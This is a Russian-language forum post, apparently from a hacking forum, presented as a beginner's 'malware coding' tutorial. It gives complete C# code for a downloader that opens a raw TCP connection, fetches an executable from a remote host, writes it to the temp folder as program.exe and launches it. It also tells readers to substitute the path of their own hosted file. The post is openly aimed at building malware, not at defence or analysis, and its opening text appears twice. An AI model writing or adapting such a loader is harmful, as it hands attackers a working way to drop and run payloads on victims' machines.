Пожалуйста, обратите внимание, что пользователь заблокирован
приветствую читателей данной статьи
статья предназначена для совсем новичков в малварь-кодинге и тут будет максимально простой код
сегодня мы напишем простенький HTTP лоадер на C# без дотнетовского WebClient
проще говоря будем делать костыли
сразу скажу он не поддерживает HTTPS
итак, для начала набросаем переменных в код:
думаю объяснять для чего они не нужно
далее мы пишем код который создает TCP-клиент и отправляет HTTP запрос на URL example.com/7z.exe и записывает ответ от сервера без HTTP-заголовка в %TEMP%\program.exe (название файла можно поменять в переменных которые мы создали выше)
следовательно если у вас файл расположен где-нибудь на http://example.com/files/hosting/odfjoqiwfjwqof40.exe вы вместо "/7z.exe" вставляете "/files/hosting/odfjoqiwfjwqof40.exe"
далее пишем код для запуска процесса:
вот и все, наш чудо-лоадер готов
статья предназначена для совсем новичков в малварь-кодинге и тут будет максимально простой код
сегодня мы напишем простенький HTTP лоадер на C# без дотнетовского WebClient
проще говоря будем делать костыли

сразу скажу он не поддерживает HTTPS
итак, для начала набросаем переменных в код:
C#:
string url = "example.com";
string filePath = Path.Combine(Path.GetTempPath(), "program.exe");
далее мы пишем код который создает TCP-клиент и отправляет HTTP запрос на URL example.com/7z.exe и записывает ответ от сервера без HTTP-заголовка в %TEMP%\program.exe (название файла можно поменять в переменных которые мы создали выше)
C#:
using (TcpClient client = new TcpClient(url, 80))
using (NetworkStream networkStream = client.GetStream())
{
string request = "GET /7z.exe HTTP/1.1\r\n" +
$"Host: {url}\r\n" +
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\r\n" +
"Connection: close\r\n\r\n";
byte[] requestBytes = Encoding.UTF8.GetBytes(request);
networkStream.Write(requestBytes, 0, requestBytes.Length);
using (FileStream fileStream = new FileStream(filePath, FileMode.Create, FileAccess.Write))
{
byte[] buffer = new byte[8192];
int bytesRead;
bool headersProcessed = false;
while ((bytesRead = networkStream.Read(buffer, 0, buffer.Length)) > 0)
{
if (!headersProcessed)
{
string responseHeaders = Encoding.UTF8.GetString(buffer, 0, bytesRead);
int headerEndIndex = responseHeaders.IndexOf("\r\n\r\n");
if (headerEndIndex >= 0)
{
headersProcessed = true;
int bodyStartIndex = headerEndIndex + 4;
fileStream.Write(buffer, bodyStartIndex, bytesRead - bodyStartIndex);
}
}
else
{
fileStream.Write(buffer, 0, bytesRead);
}
}
}
}
следовательно если у вас файл расположен где-нибудь на http://example.com/files/hosting/odfjoqiwfjwqof40.exe вы вместо "/7z.exe" вставляете "/files/hosting/odfjoqiwfjwqof40.exe"
далее пишем код для запуска процесса:
C#:
System.Diagnostics.Process.Start(filePath);
вот и все, наш чудо-лоадер готов